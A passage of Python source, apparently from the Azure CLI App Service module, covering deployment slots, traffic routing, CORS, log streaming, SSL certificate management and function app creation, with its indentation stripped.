if slot is None:
result = client.web_apps.apply_slot_config_to_production(resource_group_name, webapp, slot_swap_entity)
else:
result = client.web_apps.apply_slot_configuration_slot(resource_group_name, webapp, slot, slot_swap_entity)
return result
# we will reset both source slot and target slot
if target_slot is None:
client.web_apps.reset_production_slot_config(resource_group_name, webapp)
else:
client.web_apps.reset_slot_configuration_slot(resource_group_name, webapp, target_slot)
return None
def delete_slot(cmd, resource_group_name, webapp, slot):
client = web_client_factory(cmd.cli_ctx)
# TODO: once swagger finalized, expose other parameters like: delete_all_slots, etc...
client.web_apps.delete_slot(resource_group_name, webapp, slot)
def set_traffic_routing(cmd, resource_group_name, name, distribution):
RampUpRule = cmd.get_models('RampUpRule')
client = web_client_factory(cmd.cli_ctx)
site = client.web_apps.get(resource_group_name, name)
if not site:
raise CLIError("'{}' app doesn't exist".format(name))
configs = get_site_configs(cmd, resource_group_name, name)
host_name_split = site.default_host_name.split('.', 1)
host_name_suffix = '.' + host_name_split[1]
host_name_val = host_name_split[0]
configs.experiments.ramp_up_rules = []
for r in distribution:
slot, percentage = r.split('=')
action_host_name_slot = host_name_val + "-" + slot
configs.experiments.ramp_up_rules.append(RampUpRule(action_host_name=action_host_name_slot + host_name_suffix,
reroute_percentage=float(percentage),
name=slot))
_generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'update_configuration', None, configs)
return configs.experiments.ramp_up_rules
def show_traffic_routing(cmd, resource_group_name, name):
configs = get_site_configs(cmd, resource_group_name, name)
return configs.experiments.ramp_up_rules
def clear_traffic_routing(cmd, resource_group_name, name):
set_traffic_routing(cmd, resource_group_name, name, [])
def add_cors(cmd, resource_group_name, name, allowed_origins, slot=None):
from azure.mgmt.web.models import CorsSettings
configs = get_site_configs(cmd, resource_group_name, name, slot)
if not configs.cors:
configs.cors = CorsSettings()
configs.cors.allowed_origins = (configs.cors.allowed_origins or []) + allowed_origins
result = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'update_configuration', slot, configs)
return result.cors
def remove_cors(cmd, resource_group_name, name, allowed_origins, slot=None):
configs = get_site_configs(cmd, resource_group_name, name, slot)
if configs.cors:
if allowed_origins:
configs.cors.allowed_origins = [x for x in (configs.cors.allowed_origins or []) if x not in allowed_origins]
else:
configs.cors.allowed_origins = []
configs = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'update_configuration', slot, configs)
return configs.cors
def show_cors(cmd, resource_group_name, name, slot=None):
configs = get_site_configs(cmd, resource_group_name, name, slot)
return configs.cors
def get_streaming_log(cmd, resource_group_name, name, provider=None, slot=None):
scm_url = _get_scm_url(cmd, resource_group_name, name, slot)
streaming_url = scm_url + '/logstream'
if provider:
streaming_url += ('/' + provider.lstrip('/'))
user, password = _get_site_credential(cmd.cli_ctx, resource_group_name, name, slot)
t = threading.Thread(target=_get_log, args=(streaming_url, user, password))
t.daemon = True
t.start()
while True:
time.sleep(100) # so that ctrl+c can stop the command
def download_historical_logs(cmd, resource_group_name, name, log_file=None, slot=None):
scm_url = _get_scm_url(cmd, resource_group_name, name, slot)
url = scm_url.rstrip('/') + '/dump'
user_name, password = _get_site_credential(cmd.cli_ctx, resource_group_name, name, slot)
_get_log(url, user_name, password, log_file)
logger.warning('Downloaded logs to %s', log_file)
def _get_site_credential(cli_ctx, resource_group_name, name, slot=None):
creds = _generic_site_operation(cli_ctx, resource_group_name, name, 'begin_list_publishing_credentials', slot)
creds = creds.result()
return (creds.publishing_user_name, creds.publishing_password)
def _get_log(url, user_name, password, log_file=None):
import certifi
import urllib3
try:
import urllib3.contrib.pyopenssl
urllib3.contrib.pyopenssl.inject_into_urllib3()
except ImportError:
pass
http = urllib3.PoolManager(cert_reqs='CERT_REQUIRED', ca_certs=certifi.where())
headers = urllib3.util.make_headers(basic_auth='{0}:{1}'.format(user_name, password))
r = http.request(
'GET',
url,
headers=headers,
preload_content=False
)
if r.status != 200:
raise CLIError("Failed to connect to '{}' with status code '{}' and reason '{}'".format(
url, r.status, r.reason))
if log_file: # download logs
with open(log_file, 'wb') as f:
while True:
data = r.read(1024)
if not data:
break
f.write(data)
else: # streaming
std_encoding = sys.stdout.encoding
for chunk in r.stream():
if chunk:
# Extra encode() and decode for stdout which does not surpport 'utf-8'
logger.warning(chunk.decode(encoding='utf-8', errors='replace')
.encode(std_encoding, errors='replace')
.decode(std_encoding, errors='replace')
.rstrip('\n\r')) # each line of log has CRLF.
r.release_conn()
def upload_ssl_cert(cmd, resource_group_name, name, certificate_password, certificate_file, slot=None):
Certificate = cmd.get_models('Certificate')
client = web_client_factory(cmd.cli_ctx)
webapp = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get', slot)
cert_file = open(certificate_file, 'rb')
cert_contents = cert_file.read()
hosting_environment_profile_param = (webapp.hosting_environment_profile.name
if webapp.hosting_environment_profile else '')
thumb_print = _get_cert(certificate_password, certificate_file)
cert_name = _generate_cert_name(thumb_print, hosting_environment_profile_param,
webapp.location, resource_group_name)
cert = Certificate(password=certificate_password, pfx_blob=cert_contents,
location=webapp.location, server_farm_id=webapp.server_farm_id)
return client.certificates.create_or_update(resource_group_name, cert_name, cert)
def _generate_cert_name(thumb_print, hosting_environment, location, resource_group_name):
return "%s_%s_%s_%s" % (thumb_print, hosting_environment, location, resource_group_name)
def _get_cert(certificate_password, certificate_file):
''' Decrypts the .pfx file '''
p12 = OpenSSL.crypto.load_pkcs12(open(certificate_file, 'rb').read(), certificate_password)
cert = p12.get_certificate()
digest_algorithm = 'sha1'
thumbprint = cert.digest(digest_algorithm).decode("utf-8").replace(':', '')
return thumbprint
def list_ssl_certs(cmd, resource_group_name):
client = web_client_factory(cmd.cli_ctx)
return client.certificates.list_by_resource_group(resource_group_name)
def show_ssl_cert(cmd, resource_group_name, certificate_name):
client = web_client_factory(cmd.cli_ctx)
return client.certificates.get(resource_group_name, certificate_name)
def delete_ssl_cert(cmd, resource_group_name, certificate_thumbprint):
client = web_client_factory(cmd.cli_ctx)
webapp_certs = client.certificates.list_by_resource_group(resource_group_name)
for webapp_cert in webapp_certs:
if webapp_cert.thumbprint == certificate_thumbprint:
return client.certificates.delete(resource_group_name, webapp_cert.name)
raise CLIError("Certificate for thumbprint '{}' not found".format(certificate_thumbprint))
def import_ssl_cert(cmd, resource_group_name, name, key_vault, key_vault_certificate_name):
Certificate = cmd.get_models('Certificate')
client = web_client_factory(cmd.cli_ctx)
webapp = client.web_apps.get(resource_group_name, name)
if not webapp:
raise CLIError("'{}' app doesn't exist in resource group {}".format(name, resource_group_name))
server_farm_id = webapp.server_farm_id
location = webapp.location
kv_id = None
if not is_valid_resource_id(key_vault):
kv_client = get_mgmt_service_client(cmd.cli_ctx, ResourceType.MGMT_KEYVAULT)
key_vaults = kv_client.vaults.list_by_subscription()
for kv in key_vaults:
if key_vault == kv.name:
kv_id = kv.id
break
else:
kv_id = key_vault
if kv_id is None:
kv_msg = 'The Key Vault {0} was not found in the subscription in context. ' \
'If your Key Vault is in a different subscription, please specify the full Resource ID: ' \
'\naz .. ssl import -n {1} -g {2} --key-vault-certificate-name {3} ' \
'--key-vault /subscriptions/[sub id]/resourceGroups/[rg]/providers/Microsoft.KeyVault/' \
'vaults/{0}'.format(key_vault, name, resource_group_name, key_vault_certificate_name)
logger.warning(kv_msg)
return
kv_id_parts = parse_resource_id(kv_id)
kv_name = kv_id_parts['name']
kv_resource_group_name = kv_id_parts['resource_group']
kv_subscription = kv_id_parts['subscription']
# If in the public cloud, check if certificate is an app service certificate, in the same or a diferent
# subscription
kv_secret_name = None
cloud_type = cmd.cli_ctx.cloud.name
from azure.cli.core.commands.client_factory import get_subscription_id
subscription_id = get_subscription_id(cmd.cli_ctx)
if cloud_type.lower() == PUBLIC_CLOUD.lower():
if kv_subscription.lower() != subscription_id.lower():
diff_subscription_client = get_mgmt_service_client(cmd.cli_ctx, ResourceType.MGMT_APPSERVICE,
subscription_id=kv_subscription)
ascs = diff_subscription_client.app_service_certificate_orders.list()
else:
ascs = client.app_service_certificate_orders.list()
kv_secret_name = None
for asc in ascs:
if asc.name == key_vault_certificate_name:
kv_secret_name = asc.certificates[key_vault_certificate_name].key_vault_secret_name
# if kv_secret_name is not populated, it is not an appservice certificate, proceed for KV certificates
if not kv_secret_name:
kv_secret_name = key_vault_certificate_name
cert_name = '{}-{}-{}'.format(resource_group_name, kv_name, key_vault_certificate_name)
lnk = 'https://azure.github.io/AppService/2016/05/24/Deploying-Azure-Web-App-Certificate-through-Key-Vault.html'
lnk_msg = 'Find more details here: {}'.format(lnk)
if not _check_service_principal_permissions(cmd, kv_resource_group_name, kv_name, kv_subscription):
logger.warning('Unable to verify Key Vault permissions.')
logger.warning('You may need to grant Microsoft.Azure.WebSites service principal the Secret:Get permission')
logger.warning(lnk_msg)
kv_cert_def = Certificate(location=location, key_vault_id=kv_id, password='',
key_vault_secret_name=kv_secret_name, server_farm_id=server_farm_id)
return client.certificates.create_or_update(name=cert_name, resource_group_name=resource_group_name,
certificate_envelope=kv_cert_def)
def create_managed_ssl_cert(cmd, resource_group_name, name, hostname, slot=None):
Certificate = cmd.get_models('Certificate')
hostname = hostname.lower()
client = web_client_factory(cmd.cli_ctx)
webapp = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get', slot)
if not webapp:
slot_text = "Deployment slot {} in ".format(slot) if slot else ''
raise CLIError("{0}app {1} doesn't exist in resource group {2}".format(slot_text, name, resource_group_name))
parsed_plan_id = parse_resource_id(webapp.server_farm_id)
plan_info = client.app_service_plans.get(parsed_plan_id['resource_group'], parsed_plan_id['name'])
if plan_info.sku.tier.upper() == 'FREE' or plan_info.sku.tier.upper() == 'SHARED':
raise CLIError('Managed Certificate is not supported on Free and Shared tier.')
if not _verify_hostname_binding(cmd, resource_group_name, name, hostname, slot):
slot_text = " --slot {}".format(slot) if slot else ""
raise CLIError("Hostname (custom domain) '{0}' is not registered with {1}. "
"Use 'az webapp config hostname add --resource-group {2} "
"--webapp-name {1}{3} --hostname {0}' "
"to register the hostname.".format(hostname, name, resource_group_name, slot_text))
server_farm_id = webapp.server_farm_id
location = webapp.location
easy_cert_def = Certificate(location=location, canonical_name=hostname,
server_farm_id=server_farm_id, password='')
# TODO: Update manual polling to use LongRunningOperation once backend API & new SDK supports polling
try:
return client.certificates.create_or_update(name=hostname, resource_group_name=resource_group_name,
certificate_envelope=easy_cert_def)
except Exception as ex:
poll_url = ex.response.headers['Location'] if 'Location' in ex.response.headers else None
if ex.response.status_code == 202 and poll_url:
r = send_raw_request(cmd.cli_ctx, method='get', url=poll_url)
poll_timeout = time.time() + 60 * 2 # 2 minute timeout
while r.status_code != 200 and time.time() < poll_timeout:
time.sleep(5)
r = send_raw_request(cmd.cli_ctx, method='get', url=poll_url)
if r.status_code == 200:
try:
return r.json()
except ValueError:
return r.text
logger.warning("Managed Certificate creation in progress. Please use the command "
"'az webapp config ssl show -g %s --certificate-name %s' "
" to view your certificate once it is created", resource_group_name, hostname)
return
raise CLIError(ex)
def _check_service_principal_permissions(cmd, resource_group_name, key_vault_name, key_vault_subscription):
from azure.cli.command_modules.role._client_factory import _graph_client_factory
from azure.graphrbac.models import GraphErrorException
from azure.cli.core.commands.client_factory import get_subscription_id
subscription = get_subscription_id(cmd.cli_ctx)
# Cannot check if key vault is in another subscription
if subscription != key_vault_subscription:
return False
kv_client = get_mgmt_service_client(cmd.cli_ctx, ResourceType.MGMT_KEYVAULT)
vault = kv_client.vaults.get(resource_group_name=resource_group_name, vault_name=key_vault_name)
# Check for Microsoft.Azure.WebSites app registration
AZURE_PUBLIC_WEBSITES_APP_ID = 'abfa0a7c-a6b6-4736-8310-5855508787cd'
AZURE_GOV_WEBSITES_APP_ID = '6a02c803-dafd-4136-b4c3-5a6f318b4714'
graph_sp_client = _graph_client_factory(cmd.cli_ctx).service_principals
for policy in vault.properties.access_policies:
try:
sp = graph_sp_client.get(policy.object_id)
if sp.app_id == AZURE_PUBLIC_WEBSITES_APP_ID or sp.app_id == AZURE_GOV_WEBSITES_APP_ID:
for perm in policy.permissions.secrets:
if perm == "Get":
return True
except GraphErrorException:
pass # Lookup will fail for non service principals (users, groups, etc.)
return False
def _update_host_name_ssl_state(cmd, resource_group_name, webapp_name, webapp,
host_name, ssl_state, thumbprint, slot=None):
Site, HostNameSslState = cmd.get_models('Site', 'HostNameSslState')
updated_webapp = Site(host_name_ssl_states=[HostNameSslState(name=host_name,
ssl_state=ssl_state,
thumbprint=thumbprint,
to_update=True)],
location=webapp.location, tags=webapp.tags)
return _generic_site_operation(cmd.cli_ctx, resource_group_name, webapp_name, 'begin_create_or_update',
slot, updated_webapp)
def _update_ssl_binding(cmd, resource_group_name, name, certificate_thumbprint, ssl_type, slot=None):
client = web_client_factory(cmd.cli_ctx)
webapp = client.web_apps.get(resource_group_name, name)
if not webapp:
raise ResourceNotFoundError("'{}' app doesn't exist".format(name))
cert_resource_group_name = parse_resource_id(webapp.server_farm_id)['resource_group']
webapp_certs = client.certificates.list_by_resource_group(cert_resource_group_name)
found_cert = None
for webapp_cert in webapp_certs:
if webapp_cert.thumbprint == certificate_thumbprint:
found_cert = webapp_cert
if not found_cert:
webapp_certs = client.certificates.list_by_resource_group(resource_group_name)
for webapp_cert in webapp_certs:
if webapp_cert.thumbprint == certificate_thumbprint:
found_cert = webapp_cert
if found_cert:
if len(found_cert.host_names) == 1 and not found_cert.host_names[0].startswith('*'):
return _update_host_name_ssl_state(cmd, resource_group_name, name, webapp,
found_cert.host_names[0], ssl_type,
certificate_thumbprint, slot)
query_result = list_hostnames(cmd, resource_group_name, name, slot)
hostnames_in_webapp = [x.name.split('/')[-1] for x in query_result]
to_update = _match_host_names_from_cert(found_cert.host_names, hostnames_in_webapp)
for h in to_update:
_update_host_name_ssl_state(cmd, resource_group_name, name, webapp,
h, ssl_type, certificate_thumbprint, slot)
return show_webapp(cmd, resource_group_name, name, slot)
raise ResourceNotFoundError("Certificate for thumbprint '{}' not found.".format(certificate_thumbprint))
def bind_ssl_cert(cmd, resource_group_name, name, certificate_thumbprint, ssl_type, slot=None):
SslState = cmd.get_models('SslState')
return _update_ssl_binding(cmd, resource_group_name, name, certificate_thumbprint,
SslState.sni_enabled if ssl_type == 'SNI' else SslState.ip_based_enabled, slot)
def unbind_ssl_cert(cmd, resource_group_name, name, certificate_thumbprint, slot=None):
SslState = cmd.get_models('SslState')
return _update_ssl_binding(cmd, resource_group_name, name,
certificate_thumbprint, SslState.disabled, slot)
def _match_host_names_from_cert(hostnames_from_cert, hostnames_in_webapp):
# the goal is to match '*.foo.com' with host name like 'admin.foo.com', 'logs.foo.com', etc
matched = set()
for hostname in hostnames_from_cert:
if hostname.startswith('*'):
for h in hostnames_in_webapp:
if hostname[hostname.find('.'):] == h[h.find('.'):]:
matched.add(h)
elif hostname in hostnames_in_webapp:
matched.add(hostname)
return matched
# help class handles runtime stack in format like 'node|6.1', 'php|5.5'
class _StackRuntimeHelper:
def __init__(self, cmd, client, linux=False):
self._cmd = cmd
self._client = client
self._linux = linux
self._stacks = []
@staticmethod
def remove_delimiters(runtime):
import re
# delimiters allowed: '|', ':'
if '|' in runtime:
runtime = re.split('[|]', runtime)
elif ':' in runtime:
runtime = re.split('[:]', runtime)
else:
runtime = [runtime]
return '|'.join(filter(None, runtime))
def resolve(self, display_name):
self._load_stacks_hardcoded()
return next((s for s in self._stacks if s['displayName'].lower() == display_name.lower()),
None)
@property
def stacks(self):
self._load_stacks_hardcoded()
return self._stacks
@staticmethod
def update_site_config(stack, site_config, cmd=None):
for k, v in stack['configs'].items():
setattr(site_config, k, v)
return site_config
@staticmethod
def update_site_appsettings(cmd, stack, site_config):
NameValuePair = cmd.get_models('NameValuePair')
if site_config.app_settings is None:
site_config.app_settings = []
for k, v in stack['configs'].items():
already_in_appsettings = False
for app_setting in site_config.app_settings:
if app_setting.name == k:
already_in_appsettings = True
app_setting.value = v
if not already_in_appsettings:
site_config.app_settings.append(NameValuePair(name=k, value=v))
return site_config
def _load_stacks_hardcoded(self):
if self._stacks:
return
result = []
if self._linux:
result = get_file_json(RUNTIME_STACKS)['linux']
for r in result:
r['setter'] = _StackRuntimeHelper.update_site_config
else: # Windows stacks
result = get_file_json(RUNTIME_STACKS)['windows']
for r in result:
r['setter'] = (_StackRuntimeHelper.update_site_appsettings if 'node' in
r['displayName'] else _StackRuntimeHelper.update_site_config)
self._stacks = result
# Currently using hardcoded values instead of this function. This function calls the stacks API;
# Stacks API is updated with Antares deployments,
# which are infrequent and don't line up with stacks EOL schedule.
def _load_stacks(self):
if self._stacks:
return
os_type = ('Linux' if self._linux else 'Windows')
raw_stacks = self._client.provider.get_available_stacks(os_type_selected=os_type, raw=True)
bytes_value = raw_stacks._get_next().content # pylint: disable=protected-access
json_value = bytes_value.decode('utf8')
json_stacks = json.loads(json_value)
stacks = json_stacks['value']
result = []
if self._linux:
for properties in [(s['properties']) for s in stacks]:
for major in properties['majorVersions']:
default_minor = next((m for m in (major['minorVersions'] or []) if m['isDefault']),
None)
result.append({
'displayName': (default_minor['runtimeVersion']
if default_minor else major['runtimeVersion'])
})
else: # Windows stacks
config_mappings = {
'node': 'WEBSITE_NODE_DEFAULT_VERSION',
'python': 'python_version',
'php': 'php_version',
'aspnet': 'net_framework_version'
}
# get all stack version except 'java'
for stack in stacks:
if stack['name'] not in config_mappings:
continue
name, properties = stack['name'], stack['properties']
for major in properties['majorVersions']:
default_minor = next((m for m in (major['minorVersions'] or []) if m['isDefault']),
None)
result.append({
'displayName': name + '|' + major['displayVersion'],
'configs': {
config_mappings[name]: (default_minor['runtimeVersion']
if default_minor else major['runtimeVersion'])
}
})
# deal with java, which pairs with java container version
java_stack = next((s for s in stacks if s['name'] == 'java'))
java_container_stack = next((s for s in stacks if s['name'] == 'javaContainers'))
for java_version in java_stack['properties']['majorVersions']:
for fx in java_container_stack['properties']['frameworks']:
for fx_version in fx['majorVersions']:
result.append({
'displayName': 'java|{}|{}|{}'.format(java_version['displayVersion'],
fx['display'],
fx_version['displayVersion']),
'configs': {
'java_version': java_version['runtimeVersion'],
'java_container': fx['name'],
'java_container_version': fx_version['runtimeVersion']
}
})
for r in result:
r['setter'] = (_StackRuntimeHelper.update_site_appsettings if 'node' in
r['displayName'] else _StackRuntimeHelper.update_site_config)
self._stacks = result
def get_app_insights_key(cli_ctx, resource_group, name):
appinsights_client = get_mgmt_service_client(cli_ctx, ApplicationInsightsManagementClient)
appinsights = appinsights_client.components.get(resource_group, name)
if appinsights is None or appinsights.instrumentation_key is None:
raise CLIError("App Insights {} under resource group {} was not found.".format(name, resource_group))
return appinsights.instrumentation_key
def create_functionapp_app_service_plan(cmd, resource_group_name, name, is_linux, sku,
number_of_workers=None, max_burst=None, location=None, tags=None):
SkuDescription, AppServicePlan = cmd.get_models('SkuDescription', 'AppServicePlan')
sku = _normalize_sku(sku)
tier = get_sku_name(sku)
if max_burst is not None:
if tier.lower() != "elasticpremium":
raise CLIError("Usage error: --max-burst is only supported for Elastic Premium (EP) plans")
max_burst = validate_range_of_int_flag('--max-burst', max_burst, min_val=0, max_val=20)
if number_of_workers is not None:
number_of_workers = validate_range_of_int_flag('--number-of-workers / --min-elastic-worker-count',
number_of_workers, min_val=0, max_val=20)
client = web_client_factory(cmd.cli_ctx)
if location is None:
location = _get_location_from_resource_group(cmd.cli_ctx, resource_group_name)
sku_def = SkuDescription(tier=tier, name=sku, capacity=number_of_workers)
plan_def = AppServicePlan(location=location, tags=tags, sku=sku_def,
reserved=(is_linux or None), maximum_elastic_worker_count=max_burst,
hyper_v=None, name=name)
return client.app_service_plans.begin_create_or_update(resource_group_name, name, plan_def)
def is_plan_consumption(cmd, plan_info):
SkuDescription, AppServicePlan = cmd.get_models('SkuDescription', 'AppServicePlan')
if isinstance(plan_info, AppServicePlan):
if isinstance(plan_info.sku, SkuDescription):
return plan_info.sku.tier.lower() == 'dynamic'
return False
def is_plan_elastic_premium(cmd, plan_info):
SkuDescription, AppServicePlan = cmd.get_models('SkuDescription', 'AppServicePlan')
if isinstance(plan_info, AppServicePlan):
if isinstance(plan_info.sku, SkuDescription):
return plan_info.sku.tier == 'ElasticPremium'
return False
def validate_and_convert_to_int(flag, val):
try:
return int(val)
except ValueError:
raise CLIError("Usage error: {} is expected to have an int value.".format(flag))
def validate_range_of_int_flag(flag_name, value, min_val, max_val):
value = validate_and_convert_to_int(flag_name, value)
if min_val > value or value > max_val:
raise CLIError("Usage error: {} is expected to be between {} and {} (inclusive)".format(flag_name, min_val,
max_val))
return value
def create_functionapp(cmd, resource_group_name, name, storage_account, plan=None,
os_type=None, functions_version=None, runtime=None, runtime_version=None,
consumption_plan_location=None, app_insights=None, app_insights_key=None,
disable_app_insights=None, deployment_source_url=None,
deployment_source_branch='master', deployment_local_git=None,
docker_registry_server_password=None, docker_registry_server_user=None,
deployment_container_image_name=None, tags=None, assign_identities=None,
role='Contributor', scope=None, vnet=None, subnet=None):
# pylint: disable=too-many-statements, too-many-branches
if functions_version is None:
logger.warning("No functions version specified so defaulting to 3. In the future, specifying a version will "
"be required. To create a 3.x function you would pass in the flag `--functions-version 3`")
functions_version = '3'
if deployment_source_url and deployment_local_git:
raise CLIError('usage error: --deployment-source-url <url> | --deployment-local-git')
if bool(plan) == bool(consumption_plan_location):
raise CLIError("usage error: --plan NAME_OR_ID | --consumption-plan-location LOCATION")
from azure.mgmt.web.models import Site
SiteConfig, NameValuePair = cmd.get_models('SiteConfig', 'NameValuePair')
docker_registry_server_url = parse_docker_image_name(deployment_container_image_name)
disable_app_insights = (disable_app_insights == "true")
site_config = SiteConfig(app_settings=[])
client = web_client_factory(cmd.cli_ctx)
if vnet or subnet:
if plan:
if is_valid_resource_id(plan):
parse_result = parse_resource_id(plan)
plan_info = client.app_service_plans.get(parse_result['resource_group'], parse_result['name'])
else:
plan_info = client.app_service_plans.get(resource_group_name, plan)
webapp_location = plan_info.location
else:
webapp_location = consumption_plan_location
subnet_info = _get_subnet_info(cmd=cmd,
resource_group_name=resource_group_name,
subnet=subnet,
vnet=vnet)
_validate_vnet_integration_location(cmd=cmd, webapp_location=webapp_location,
subnet_resource_group=subnet_info["resource_group_name"],
vnet_name=subnet_info["vnet_name"])
_vnet_delegation_check(cmd, subnet_subscription_id=subnet_info["subnet_subscription_id"],
vnet_resource_group=subnet_info["resource_group_name"],
vnet_name=subnet_info["vnet_name"],
subnet_name=subnet_info["subnet_name"])
site_config.vnet_route_all_enabled = True
subnet_resource_id = subnet_info["subnet_resource_id"]
else:
subnet_resource_id = None
functionapp_def = Site(location=None, site_config=site_config, tags=tags,
virtual_network_subnet_id=subnet_resource_id)
KEYS = FUNCTIONS_STACKS_API_KEYS()
plan_info = None
if runtime is not None:
runtime = runtime.lower()
if consumption_plan_location:
locations = list_consumption_locations(cmd)
location = next((loc for loc in locations if loc['name'].lower() == consumption_plan_location.lower()), None)
if location is None:
raise CLIError("Location is invalid. Use: az functionapp list-consumption-locations")
functionapp_def.location = consumption_plan_location
functionapp_def.kind = 'functionapp'
# if os_type is None, the os type is windows
is_linux = os_type and os_type.lower() == 'linux'
else: # apps with SKU based plan
if is_valid_resource_id(plan):
parse_result = parse_resource_id(plan)
plan_info = client.app_service_plans.get(parse_result['resource_group'], parse_result['name'])
else:
plan_info = client.app_service_plans.get(resource_group_name, plan)
if not plan_info:
raise CLIError("The plan '{}' doesn't exist".format(plan))
location = plan_info.location
is_linux = plan_info.reserved
functionapp_def.server_farm_id = plan
functionapp_def.location = location
if functions_version == '2' and functionapp_def.location in FUNCTIONS_NO_V2_REGIONS:
raise CLIError("2.x functions are not supported in this region. To create a 3.x function, "
"pass in the flag '--functions-version 3'")
if is_linux and not runtime and (consumption_plan_location or not deployment_container_image_name):
raise CLIError(
"usage error: --runtime RUNTIME required for linux functions apps without custom image.")
runtime_stacks_json = _load_runtime_stacks_json_functionapp(is_linux)
if runtime is None and runtime_version is not None:
raise CLIError('Must specify --runtime to use --runtime-version')
# get the matching runtime stack object
runtime_json = _get_matching_runtime_json_functionapp(runtime_stacks_json, runtime if runtime else 'dotnet')
if not runtime_json:
# no matching runtime for os
os_string = "linux" if is_linux else "windows"
supported_runtimes = list(map(lambda x: x[KEYS.NAME], runtime_stacks_json))
raise CLIError("usage error: Currently supported runtimes (--runtime) in {} function apps are: {}."
.format(os_string, ', '.join(supported_runtimes)))
runtime_version_json = _get_matching_runtime_version_json_functionapp(runtime_json,
functions_version,
runtime_version,
is_linux)
if not runtime_version_json:
supported_runtime_versions = list(map(lambda x: x[KEYS.DISPLAY_VERSION],
_get_supported_runtime_versions_functionapp(runtime_json,
functions_version)))
if runtime_version:
if runtime == 'dotnet':
raise CLIError('--runtime-version is not supported for --runtime dotnet. Dotnet version is determined '
'by --functions-version. Dotnet version {} is not supported by Functions version {}.'
.format(runtime_version, functions_version))
raise CLIError('--runtime-version {} is not supported for the selected --runtime {} and '
'--functions-version {}. Supported versions are: {}.'
.format(runtime_version,
runtime,
functions_version,
', '.join(supported_runtime_versions)))
# if runtime_version was not specified, then that runtime is not supported for that functions version
raise CLIError('no supported --runtime-version found for the selected --runtime {} and '
'--functions-version {}'
.format(runtime, functions_version))
if runtime == 'dotnet':
logger.warning('--runtime-version is not supported for --runtime dotnet. Dotnet version is determined by '
'--functions-version. Dotnet version will be %s for this function app.',
runtime_version_json[KEYS.DISPLAY_VERSION])
if runtime_version_json[KEYS.IS_DEPRECATED]:
logger.warning('%s version %s has been deprecated. In the future, this version will be unavailable. '
'Please update your command to use a more recent version. For a list of supported '
'--runtime-versions, run \"az functionapp create -h\"',
runtime_json[KEYS.PROPERTIES][KEYS.DISPLAY], runtime_version_json[KEYS.DISPLAY_VERSION])
site_config_json = runtime_version_json[KEYS.SITE_CONFIG_DICT]
app_settings_json = runtime_version_json[KEYS.APP_SETTINGS_DICT]
con_string = _validate_and_get_connection_string(cmd.cli_ctx, resource_group_name, storage_account)
if is_linux:
functionapp_def.kind = 'functionapp,linux'
functionapp_def.reserved = True
is_consumption = consumption_plan_location is not None
if not is_consumption:
site_config.app_settings.append(NameValuePair(name='MACHINEKEY_DecryptionKey',
value=str(hexlify(urandom(32)).decode()).upper()))
if deployment_container_image_name:
functionapp_def.kind = 'functionapp,linux,container'
site_config.app_settings.append(NameValuePair(name='DOCKER_CUSTOM_IMAGE_NAME',
value=deployment_container_image_name))
site_config.app_settings.append(NameValuePair(name='FUNCTION_APP_EDIT_MODE', value='readOnly'))
site_config.app_settings.append(NameValuePair(name='WEBSITES_ENABLE_APP_SERVICE_STORAGE',
value='false'))
site_config.linux_fx_version = _format_fx_version(deployment_container_image_name)
# clear all runtime specific configs and settings
site_config_json = {KEYS.USE_32_BIT_WORKER_PROC: False}
app_settings_json = {}
# ensure that app insights is created if not disabled
runtime_version_json[KEYS.APPLICATION_INSIGHTS] = True
else:
site_config.app_settings.append(NameValuePair(name='WEBSITES_ENABLE_APP_SERVICE_STORAGE',
value='true'))
else:
functionapp_def.kind = 'functionapp'
# set site configs
for prop, value in site_config_json.items():
snake_case_prop = _convert_camel_to_snake_case(prop)
setattr(site_config, snake_case_prop, value)
# temporary workaround for dotnet-isolated linux consumption apps
if is_linux and consumption_plan_location is not None and runtime == 'dotnet-isolated':
site_config.linux_fx_version = ''
# adding app settings
for app_setting, value in app_settings_json.items():
site_config.app_settings.append(NameValuePair(name=app_setting, value=value))
site_config.app_settings.append(NameValuePair(name='FUNCTIONS_EXTENSION_VERSION',
value=_get_extension_version_functionapp(functions_version)))
site_config.app_settings.append(NameValuePair(name='AzureWebJobsStorage', value=con_string))
# If plan is not consumption or elastic premium, we need to set always on
if consumption_plan_location is None and not is_plan_elastic_premium(cmd, plan_info):
site_config.always_on = True
# If plan is elastic premium or consumption, we need these app settings
if is_plan_elastic_premium(cmd, plan_info) or consumption_plan_location is not None:
site_config.app_settings.append(NameValuePair(name='WEBSITE_CONTENTAZUREFILECONNECTIONSTRING',
value=con_string))
site_config.app_settings.append(NameValuePair(name='WEBSITE_CONTENTSHARE', value=_get_content_share_name(name)))
create_app_insights = False
if app_insights_key is not None:
site_config.app_settings.append(NameValuePair(name='APPINSIGHTS_INSTRUMENTATIONKEY',
value=app_insights_key))
elif app_insights is not None:
instrumentation_key = get_app_insights_key(cmd.cli_ctx, resource_group_name, app_insights)
site_config.app_settings.append(NameValuePair(name='APPINSIGHTS_INSTRUMENTATIONKEY',
value=instrumentation_key))
elif disable_app_insights or not runtime_version_json[KEYS.APPLICATION_INSIGHTS]:
# set up dashboard if no app insights
site_config.app_settings.append(NameValuePair(name='AzureWebJobsDashboard', value=con_string))
elif not disable_app_insights and runtime_version_json[KEYS.APPLICATION_INSIGHTS]:
create_app_insights = True
poller = client.web_apps.begin_create_or_update(resource_group_name, name, functionapp_def)
functionapp = LongRunningOperation(cmd.cli_ctx)(poller)
if consumption_plan_location and is_linux:
logger.warning("Your Linux function app '%s', that uses a consumption plan has been successfully "
"created but is not active until content is published using "
"Azure Portal or the Functions Core Tools.", name)
else:
_set_remote_or_local_git(cmd, functionapp, resource_group_name, name, deployment_source_url,
deployment_source_branch, deployment_local_git)
if create_app_insights:
try:
try_create_application_insights(cmd, functionapp)
except Exception: # pylint: disable=broad-except
logger.warning('Error while trying to create and configure an Application Insights for the Function App. '
'Please use the Azure Portal to create and configure the Application Insights, if needed.')
update_app_settings(cmd, functionapp.resource_group, functionapp.name,
['AzureWebJobsDashboard={}'.format(con_string)])
if deployment_container_image_name:
update_container_settings_functionapp(cmd, resource_group_name, name, docker_registry_server_url,
deployment_container_image_name, docker_registry_server_user,
docker_registry_server_password)
if assign_identities is not None:
identity = assign_identity(cmd, resource_group_name, name, assign_identities,
role, None, scope)
functionapp.identity = identity
return functionapp
